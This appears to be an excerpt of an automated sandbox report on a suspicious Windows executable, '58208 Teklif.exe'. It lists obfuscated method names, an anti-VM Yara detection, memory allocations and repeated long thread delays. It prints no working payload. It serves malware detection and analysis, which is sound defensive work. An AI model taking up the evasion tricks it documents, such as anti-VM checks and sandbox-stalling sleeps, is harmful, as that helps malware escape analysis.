Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, f3RHjcWfG0nFOPiZ5P.cs	High entropy of concatenated method names: 'COKkIT7oB8', 'Somk6cWpNR', 'N97kwiIM3D', 'JmVk1JeW9a', 'WXdkg9ycc0', 'ge9wrGwvOM', 'aLSwYOuNWe', 'DEDwN7rkdg', 'Euww9vBYiR', 'JB8wWf9G31'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, ymY9i55puh8sJQy4lC.cs	High entropy of concatenated method names: 'ugJfQ0bPMi', 'EUjftHC6ip', 'ToString', 'IHJfpr47EV', 'iuMf67hnUK', 'TjufdN0xe3', 'uF9fw4EONe', 'vwxfkdoTyn', 'vXuf152u6Q', 'ngMfg8J3RA'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, HKBtH9zLyWSY3PprRP.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bSdjcJXCiF', 'AO9j5EJ63N', 'IkojhWT6CJ', 'wq5jfnXkoA', 'Q8KjRe9Mdm', 'AQ7jjQhF9i', 'fDFjKN8UpI'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, ocgNYIURVbTtgbjxB1R.cs	High entropy of concatenated method names: 'IgOjUNYiVq', 'yiVjvWC42y', 'DNRjMwUZOR', 'srCjsyafAM', 'Ct8jZkArYX', 'rbHjTmPcUq', 'VgJjiPtaIT', 'XbBjePbQib', 'PahjFcdvR0', 'xdIjCOQ9pm'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, wVhD8CnnV4UcccbIW4.cs	High entropy of concatenated method names: 'aIg1USDgx9', 'jV91vi8o23', 'Qkm1MIg4hd', 'rXJ1sWCCTs', 'M8R1ZypAkO', 'DOC1TM8m8d', 'uZj1ihrlQY', 'Bk91elqMVa', 'AZG1FSQU8L', 'x2c1CC7Ogo'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, aKoppcmWP2f8yAjY4l.cs	High entropy of concatenated method names: 'fvfb1l7DpV', 'M8ibg0htUB', 'rVkbQxCgMi', 'MuybtMDkhM', 'ibbb5bMPHc', 'JrJbhVuZyN', 'WW1EHm7UrPxacBnLNj', 'u9OcAsoqmsDcU6Wgyu', 'TKAbbgfhvH', 'GupbPnXaUB'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, WXPo1s6SZUfJWf3Ztw.cs	High entropy of concatenated method names: 'fEswZqw6gn', 'KH4wi0cn65', 'fXJdmY30BN', 't3Bda0ERhb', 'RuodAb6oNk', 'deAd3Na0RH', 'iAed2Kwm3c', 'QRddBFGGbQ', 'qVcdE6IV2T', 'UTVdOCRbN1'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, MK85Z0STNaOnKwpaOT.cs	High entropy of concatenated method names: 'Enu5OCG8LK', 'GbQ57jpTW1', 'ujZ5oXg8dR', 'fer5S5WeBm', 'G5r5ua7vgk', 'UXZ5mplZnW', 'RXN5aOlFWK', 'OHt5AQFC9N', 'yjI53V0jKY', 'Oiu52CAMKh'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, JgWfdKAVBhtTy2KMZT.cs	High entropy of concatenated method names: 'hN4jby8yLc', 'RhfjPQutD5', 'YgBjVCXnxK', 'I9Zjpvm4DR', 'lY5j6C4Jgp', 'ylMjwkVS9A', 'hNTjkaeNYd', 'zFvRNU0TDr', 'K6bR9CpeoW', 'wUmRW6x0ud'

Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR

Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 1550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 31B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 17F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 7DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 8DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 9050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: A050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598543	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598194	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597965	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596295	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe	Window / User API: threadDelayed 1541			Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Window / User API: threadDelayed 8311			Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7700	Thread sleep count: 1541 > 30	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7700	Thread sleep count: 8311 > 30	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598543s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598194s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597965s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597405s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596295s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -594749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe TID: 7696	Thread sleep time: -594531s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598543	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598194	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597965	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597624	Jump to behavior
